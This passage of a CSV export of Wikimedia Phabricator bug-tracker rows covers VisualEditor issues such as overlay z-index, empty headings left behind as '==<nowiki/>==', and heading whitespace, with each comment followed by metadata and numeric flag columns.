+Yes.",,,1416502788,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-dlisjakdxxdx6ulkcllp,task_subcomment,,True,c1,3,True,,,72,,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,1,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,1
+233692,VisualEditor: z-index for .ve-ui-surface-overlay is too high (and we shouldn't use them anyway),Wasn't this fixed by Gerrit change 70572?,,,1416499941,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-dlisjakdxxdx6ulkcllp,task_subcomment,,True,c1,3,True,,,72,,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0
+233686,VisualEditor: z-index for .ve-ui-surface-overlay is too high (and we shouldn't use them anyway),Marking as tech-debt and pulling from beta per discussion.,,,1371688878,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-dlisjakdxxdx6ulkcllp,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0
+233678,VisualEditor: z-index for .ve-ui-surface-overlay is too high (and we shouldn't use them anyway),"The z-index isn't too high, the reason the overlays are on top of the save dialog is because they are in a further relative subtree of the DOM. Whether it is z-index -999, 0 or 100000 won't matter.
+
+The actual issue described here is bug 49275.
+
+The overlay using z-index is a separate issue that is otherwise harmless. I'd recommend we:
+* Mark as invalid (z-index isn't a problem).
+* or; Turn this into a technical debt ""clean up"" reminder to get rid of the z-index (they're no longer needed afaik, because we moved overlays to be a proper relative subtree overlay instead of siblings with higher z-index).
+* or; Mark as duplicate of bug 49275.",,,1371688489,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-dlisjakdxxdx6ulkcllp,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,0,1,1,1,1,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,1,1,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,1,0,0,0,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,0
+233673,VisualEditor: z-index for .ve-ui-surface-overlay is too high (and we shouldn't use them anyway),"(In reply to comment #0)
+> Right now the z-index for .ve-ui-surface-overlay is set to 1000, which is way
+> higher than pretty much anything else in MediaWiki. This makes it float above
+> lots of things it shouldn't float above, like the header drop-down menu in
+> the
+> visual editor, the Echo notifications dropdown, etc. The z-index for the Echo
+> notifications dropdown is 100 (so that it is higher than the close buttons in
+> SiteNotices which are 99).
+
+Yes, this was deliberate; you may recall the arms race with Echo where you kept breaking VE with your z-index changes for three weeks, hence this setting whilst we waited for Echo to stop changing. :-)
+
+(In reply to comment #2)
+> Created attachment 12545 [details]
+> Blue overlay
+> 
+> Is this screenshot related to this bug or another effect/issue?
+
+That's specifically bug 49275, but yes, that is related to this. The ""proper"" solution to this is putting the entire save dialog in its own iframe (like all the dialogs we've created since the new dialog system was built), but it's too close to deployment to do major changes like that.
+
+**Attached**: {F11114}",,,1371422675,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-dlisjakdxxdx6ulkcllp,task_subcomment,,True,c1,2,True,,,-3,,1,1,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,1,0,0,1,1,0,0,1,1,1,1,1,0,1,0,0,0,0,1,1,0,1,0,0,0,1,1,1,1,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,1,0,1,1,1,1,0,1,1,1,1,1,0,1,0,1,0,0,1,1,0,1
+233664,VisualEditor: z-index for .ve-ui-surface-overlay is too high (and we shouldn't use them anyway),"Created attachment 12545
+Blue overlay
+
+Is this screenshot related to this bug or another effect/issue?
+
+**Attached**: {F11114}",,,1371294885,,PHID-USER-3uecblbxq24ycewm2cog,False,,,PHID-TASK-dlisjakdxxdx6ulkcllp,task_subcomment,,True,c1,2,False,,,-3,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0
+233657,VisualEditor: z-index for .ve-ui-surface-overlay is too high (and we shouldn't use them anyway),"The VisualEditor's save dialog has a z-index of 3, so perhaps you'll want to use something like 2 for ve-ui-surface-overlay rather than 1000.",,,1371145548,,PHID-USER-a5pveeqqwaddgfjiv2fq,False,,,PHID-TASK-dlisjakdxxdx6ulkcllp,task_subcomment,,True,c1,2,False,,,-3,,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+51491,VisualEditor: Transclusion dialog for objects without params should give you some clue as to what to do,"Screenshot
+
+An example is https://www.mediawiki.org/wiki/Template:Extension_code_in_wiki which can be seen at https://www.mediawiki.org/wiki/Extension:Syntax_Highlighting
+
+If opened in the inspector menu it displays pretty much nothing (screenshot attached) because there aren't any modifiable parameters. It comes off looking like it broke ;p.
+
+It would be good if, instead of displaying the title, the inspector menu could display a slug that reads something like ""This template has no editable elements"".
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+
+**Attached**: {F11046}",Medium,50.0,1371060180,1371437544.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-pq2jmdduyi27pmzdn6fs,task_description,resolved,True,c1,2,False,False,True,-3,,1,1,0,1,1,1,1,1,0,1,1,1,0,0,1,0,0,1,1,1,0,0,0,0,1,0,0,0,1,1,0,1,1,1,0,0,0,0,0,0,1,0,0,1,0,1,0,1,0,1,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,0
+232199,VisualEditor: Transclusion dialog for objects without params should give you some clue as to what to do,"This is already fixed in master, and will go out in wmf8; our apologies for it looking so denuded in that version!",,,1371437544,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-pq2jmdduyi27pmzdn6fs,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,1,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+51452,VisualEditor: Whitespace-only headings should be collapsed to (blank) paragraphs,"When an editor tried to remove a heading, the following empty h3 tag seems to have been left behind:  <h3 data-parsoid='{""dsr"":[4514,4534,3,3]}'></h3>
+
+Serializes to ===<nowiki/>=== and the user complained about it.
+
+From the bug report: /mng/bugs/en.2013-06-10T16:41:02.032Z-Lightning_(software) on parsoid.wmflabs.org
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Medium,50.0,1370981700,1428879414.0,PHID-USER-slccyo5rqasgpljxny7g,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-cdvhznmmt4p6jcin6skh,task_description,resolved,True,c1,2,True,False,False,-3,,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+442609,VisualEditor: Whitespace-only headings should be collapsed to (blank) paragraphs,These look like cached code issues. Closing absent further issues.,,,1428879414,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-cdvhznmmt4p6jcin6skh,task_subcomment,,True,c1,3,True,,,92,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0
+437791,VisualEditor: Whitespace-only headings should be collapsed to (blank) paragraphs,"Found an other one, edit time is about 12 hours after the first example
+https://fr.wikipedia.org/w/index.php?title=Nahhalin&diff=prev&oldid=113480458",,,1428038357,,PHID-USER-o34e5i3eq4nstbvcf26w,False,,,PHID-TASK-cdvhznmmt4p6jcin6skh,task_subcomment,,True,c1,3,False,,,91,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0
+437631,VisualEditor: Whitespace-only headings should be collapsed to (blank) paragraphs,"I checked again on production - including checking on the exactly same section layout on which the bug was reported: 
+{F108277}
+
+
+
+",,,1428015629,,PHID-USER-4alekd35in5tg53zpsl4,False,,,PHID-TASK-cdvhznmmt4p6jcin6skh,task_subcomment,,True,c1,3,True,,,91,,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+437566,VisualEditor: Whitespace-only headings should be collapsed to (blank) paragraphs,"No other edits with `==<nowiki/>==` for the moment, I will send an other comment if I see one",,,1428007868,,PHID-USER-o34e5i3eq4nstbvcf26w,False,,,PHID-TASK-cdvhznmmt4p6jcin6skh,task_subcomment,,True,c1,3,False,,,91,,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,1
+437395,VisualEditor: Whitespace-only headings should be collapsed to (blank) paragraphs,">>! In T51452#1174343, @NicoV wrote:
+> It doesn't seem to be fixed in 1.25wmf23.
+> Edit from 17 hours ago on frwiki (Version page reports 1.25wmf23) with the same kind of problems :
+> https://fr.wikipedia.org/w/index.php?title=Tour_d%27Alg%C3%A9rie_1952&diff=prev&oldid=113472247
+
+Yesterday's deployment happened late, so maybe this happened just before or just after the deployment and the user's browser was still running the old code? I tried to create an empty heading or a whitespace-only heading in VE on frwiki and I couldn't. Are there any other edits adding `==<nowiki/>==` that are more recent?",,,1427995437,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-cdvhznmmt4p6jcin6skh,task_subcomment,,True,c1,3,False,,,91,,1,0,0,1,1,1,1,0,0,0,1,1,0,1,1,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,1,1,0,1,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,1,1,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,1,0,1,0,1,1,1,1,0,1,1,1,1,1,0,1,1,0,1
+437341,VisualEditor: Whitespace-only headings should be collapsed to (blank) paragraphs,"It doesn't seem to be fixed in 1.25wmf23.
+Edit from 17 hours ago on frwiki (Version page reports 1.25wmf23) with the same kind of problems :
+https://fr.wikipedia.org/w/index.php?title=Tour_d%27Alg%C3%A9rie_1952&diff=prev&oldid=113472247",,,1427990524,,PHID-USER-o34e5i3eq4nstbvcf26w,False,,,PHID-TASK-cdvhznmmt4p6jcin6skh,task_subcomment,,True,c1,3,False,,,91,,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0
+431381,VisualEditor: Whitespace-only headings should be collapsed to (blank) paragraphs,"Deleting headings is clean now
+
+Beta {F103264}
+vs
+current production(wmf22)
+{F103266}",,,1427153835,,PHID-USER-4alekd35in5tg53zpsl4,False,,,PHID-TASK-cdvhznmmt4p6jcin6skh,task_subcomment,,True,c1,3,True,,,90,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+430149,VisualEditor: Whitespace-only headings should be collapsed to (blank) paragraphs,"Change 162310 merged by jenkins-bot:
+For empty / whitespace-only headings, output <p> instead of <h#>
+
+[[https://gerrit.wikimedia.org/r/162310]]",,,1426893388,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-cdvhznmmt4p6jcin6skh,task_subcomment,,True,c1,3,False,,,89,,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+412857,VisualEditor: Whitespace-only headings should be collapsed to (blank) paragraphs,"Change 162310 had a related patch set uploaded (by Jforrester):
+MWHeading: Don't put self in output if contents are blank or whitespace
+
+[[https://gerrit.wikimedia.org/r/162310]]
+
+#patch-for-review",,,1424197333,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-cdvhznmmt4p6jcin6skh,task_subcomment,,True,c1,3,False,,,85,,0,0,0,0,1,1,1,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,1
+229854,VisualEditor: Whitespace-only headings should be collapsed to (blank) paragraphs,*** Bug 70368 has been marked as a duplicate of this bug. ***,,,1415886608,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-cdvhznmmt4p6jcin6skh,task_subcomment,,True,c1,3,True,,,71,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+229850,VisualEditor: Whitespace-only headings should be collapsed to (blank) paragraphs,"Change 162310 had a related patch set uploaded by Jforrester:
+MWHeading: Don't put self in output if contents are blank or whitespace
+
+https://gerrit.wikimedia.org/r/162310",,,1412538863,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-cdvhznmmt4p6jcin6skh,task_subcomment,,True,c1,3,False,,,65,,0,0,0,0,1,1,1,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+229843,VisualEditor: Whitespace-only headings should be collapsed to (blank) paragraphs,/mnt/bugs/2013-06-10T13:57:10.670Z-%25E8%25A5%25BF%25E7%2593%259C%25E6%25B3%25A2 (chinese wikipedia) has an empty heading tag left behind as well (probably inserted when the user added a heading and then deleted it).,,,1370983752,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-cdvhznmmt4p6jcin6skh,task_subcomment,,True,c1,2,True,,,-3,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,1,1,0,0,0,0,0
+229837,VisualEditor: Whitespace-only headings should be collapsed to (blank) paragraphs,"/mnt/bugs/2013-06-09T22%3A08%3A31.223Z-Sapo-comum (ptwiki) reports an empty heading left behind ""== =="" when the user actually meant to delete it (and I presume thought it gone after the non-whitespace text was deleted).",,,1370982732,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-cdvhznmmt4p6jcin6skh,task_subcomment,,True,c1,2,True,,,-3,,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,0,0,0,0
+51431,VisualEditor: Grunt leaves behind temporary html file if tests fail,"modules/ve/test/index-phantomjs-tmp.html is not deleted if the tests fail.
+
+--------------------------
+**Version**: unspecified
+**Severity**: trivial",Medium,50.0,1370954520,1371495128.0,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-sit6vtslr7r2fqfrzugp,task_description,resolved,True,c1,2,True,False,True,-3,,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+253197,VisualEditor: Grunt leaves behind temporary html file if tests fail,Related URL: https://gerrit.wikimedia.org/r/68631 (Gerrit Change I5079d00a63d43276a12dd78c306bb3819470631d),,,1371209624,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-sit6vtslr7r2fqfrzugp,task_subcomment,,True,c1,2,False,,,-3,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+51429,VisualEditor: Adding a new heading should add a newline before the heading too,"I think it is standard in in (all?) Wikipedias to add a newline before adding a new heading.
+
+This is currently not done by the VisualEditor, see URL.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+**URL**: https://de.wikipedia.org/w/index.php?title=Benutzer:Raymond/heading&diff=119444892&oldid=119444326",Medium,50.0,1370952120,,PHID-USER-3uecblbxq24ycewm2cog,False,,False,PHID-TASK-2qasjtis6bukznlqh6fa,task_description,open,True,c1,2,False,False,,-3,,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,1,0,1,0,1,0,0,0
+253137,VisualEditor: Adding a new heading should add a newline before the heading too,"Roan - I guess we could do this at our end, or as a ""default whitespace"" rule in Parsoid. Which do you think makes most sense?",,,1371157225,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-2qasjtis6bukznlqh6fa,task_subcomment,,True,c1,2,True,,,-3,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,0,1,1,0,0,0,1,0
+51428,"Default whitespace for headings should have two new lines beforehand (i.e., one blank line before a heading)","Steps to reproduce:
+
+1. Go into a heading
+
+2. Change heading level from 2 to 3 (i.e.)
+
+Expected output: Only the number of = should change
+
+Actual output: Number of = is changed correctly but the newline before the heading is moved under the heading now.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+**URL**: https://de.wikipedia.org/w/index.php?title=Benutzer:Raymond/heading&diff=119444161&oldid=119444142",Medium,50.0,1370950980,1372103155.0,PHID-USER-3uecblbxq24ycewm2cog,False,,False,PHID-TASK-4rqn2y6kag5uml6nligz,task_description,resolved,True,c1,2,False,False,True,-3,,0,0,0,1,0,1,0,0,0,0,1,0,0,1,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+253086,"Default whitespace for headings should have two new lines beforehand (i.e., one blank line before a heading)",Fix deployed.,,,1372103155,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-4rqn2y6kag5uml6nligz,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+253081,"Default whitespace for headings should have two new lines beforehand (i.e., one blank line before a heading)",https://gerrit.wikimedia.org/r/70214 (Gerrit Change Id8e5b87602e3ba0f0e1cf6b5c6e03f4949e7d053) | change APPROVED and MERGED [by jenkins-bot],,,1372100461,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4rqn2y6kag5uml6nligz,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+253077,"Default whitespace for headings should have two new lines beforehand (i.e., one blank line before a heading)",Related URL: https://gerrit.wikimedia.org/r/70214 (Gerrit Change Id8e5b87602e3ba0f0e1cf6b5c6e03f4949e7d053),,,1372095883,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4rqn2y6kag5uml6nligz,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1
+253072,"Default whitespace for headings should have two new lines beforehand (i.e., one blank line before a heading)","(In reply to comment #3)
+> I believe they have a default whitespace setting that could fix this so this
+> could be raised as a Parsoid bug.
+
+Marking as such.",,,1372016595,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-4rqn2y6kag5uml6nligz,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,1,1,0,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+253067,"Default whitespace for headings should have two new lines beforehand (i.e., one blank line before a heading)","On a separate note, the standard spacing around headings (on en.wiki at least) appears to be:
+
+Foo
+
+==Bar==
+Baz
+
+Where Parsoid renders:
+
+Foo
+==Bar==
+Baz
+
+I believe they have a default whitespace setting that could fix this so this could be raised as a Parsoid bug.",,,1372016463,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-4rqn2y6kag5uml6nligz,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,1,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,1
+253063,"Default whitespace for headings should have two new lines beforehand (i.e., one blank line before a heading)","Replacing a heading is the same a removing the old one and inserting a new one (transactionally speaking), so all the (non visible) whitespace information will be lost.
+
+The output on the right is what you'd get if you created the document from scratch and as you are making structural changes, rather than changes within a paragraph, it is arguably by design that we throw away any old quirks in the wikitext for that section.",,,1372016204,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-4rqn2y6kag5uml6nligz,task_subcomment,,True,c1,2,True,,,-2,,1,0,0,1,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,1,0,1,0,1,0,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0
+253060,"Default whitespace for headings should have two new lines beforehand (i.e., one blank line before a heading)","Indeed; a newline above or below a heading will be trimmed when the heading is changed in some manner. Is this Parsoid's behaviour?
+
+https://www.mediawiki.org/w/index.php?title=VisualEditor:Bug_49428&diff=715815&oldid=715814",,,1372008424,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-4rqn2y6kag5uml6nligz,task_subcomment,,True,c1,2,True,,,-2,,1,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,0,0
+51420,VisualEditor: Rendering of categories fails on first load sometimes in Chrome (Webkit?),"Instead of ""Foo v"" you get ""Foo
+v"" - dialog contents render before they're styled because the CSS is slow in coming in (per Roan).
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1370912280,1493662142.0,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-yt5y3btrqqtcxanvipk4,task_description,invalid,True,c1,2,True,True,False,-3,,0,0,0,0,0,1,1,1,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,0,1,0,0,0,0,1,0,0,0
